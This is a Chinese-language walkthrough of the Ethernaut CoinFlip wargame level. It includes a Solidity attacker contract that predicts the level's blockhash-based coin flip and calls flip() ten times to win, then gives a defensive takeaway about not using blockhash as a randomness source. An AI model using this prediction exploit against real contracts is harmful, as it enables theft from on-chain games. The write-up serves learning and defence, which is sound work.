(https://ethernaut.openzeppelin.com/level/0x4dF32584890A0026e56f7535d0f2C6486753624f)
這一關要求要使用合約中的flip函數猜硬幣的正反面(flip(true) or flip(false)這樣),只要連續猜對10次就過關。觀察程式後了解它的亂數來源如下:
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
可以看成true or false 機率一半一半,若亂猜的情況下要連續對10次,2的10次方分之一的機率,ㄎㄎ。
過關方法
不過既然我們知道它亂數的來源是blockhash(block.number.sub(1)),那我只要先知道這個數值,然後照樣算一次,就會得到跟它一樣的答案了,所以解法就是: 再寫一個contract,其中有一個函數會跑上述的數值,取得side的值後,再去執行這關contract的filp(side),就能保證猜對了~
contract GuessCoin {
using SafeMath for uint256;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
CoinFlip public origContract= CoinFlip(0x446beE36aa357DB729ce8e1338b42c425746c9AB);
function guessFlip() public {
uint256 blockValue = uint256(blockhash(block.number -1));
uint256 coinResult = blockValue / FACTOR;
bool side = coinResult == 1 ? true : false;
origContract.flip(side);
}
}
用Remix IDE 來compile and depoly
我們用Remix來編寫這個新的contract,並depoly到Rinkeby test network
執行guessFlip()函數,執行前可用Ethernaut此關中的developer tool->console,下await contract.consecutiveWins(),可看到目前的連贏次數為零。
執行10 次guessFlip後,連贏次數變為10,submit instance,Level Cleared!
這一篇主要的Takeaway就是不要依賴blackHash當作亂數的來源,或是其他能被影響或得知的數值當作亂數的來源,若真的有需要完全亂數以保障公平性時,例如博弈等應用,可以使用Oracle作為亂數的來源。
另外,筆者在自己執行的過程中有發生執行時錯誤,第一次執行contract.consecutiveWins()時成功,第二次執行同樣的指令卻發生錯誤,錯誤訊息為: “max fee per gas less than block base fee”,照錯誤訊息字面上的意思,就是我設定的最大gas費用小於區塊的基本費用,原因為網路忙碌,導致了收取的gas-fee拉高到超過我的上限值,關於這個的詳細,可以參考我的另一篇文章-以太坊 gas-fee與EIP-1559。
*名詞解釋:
- BlackHash(blackNumber) : 區塊的 hash 值
- Black.number : 目前區塊的編號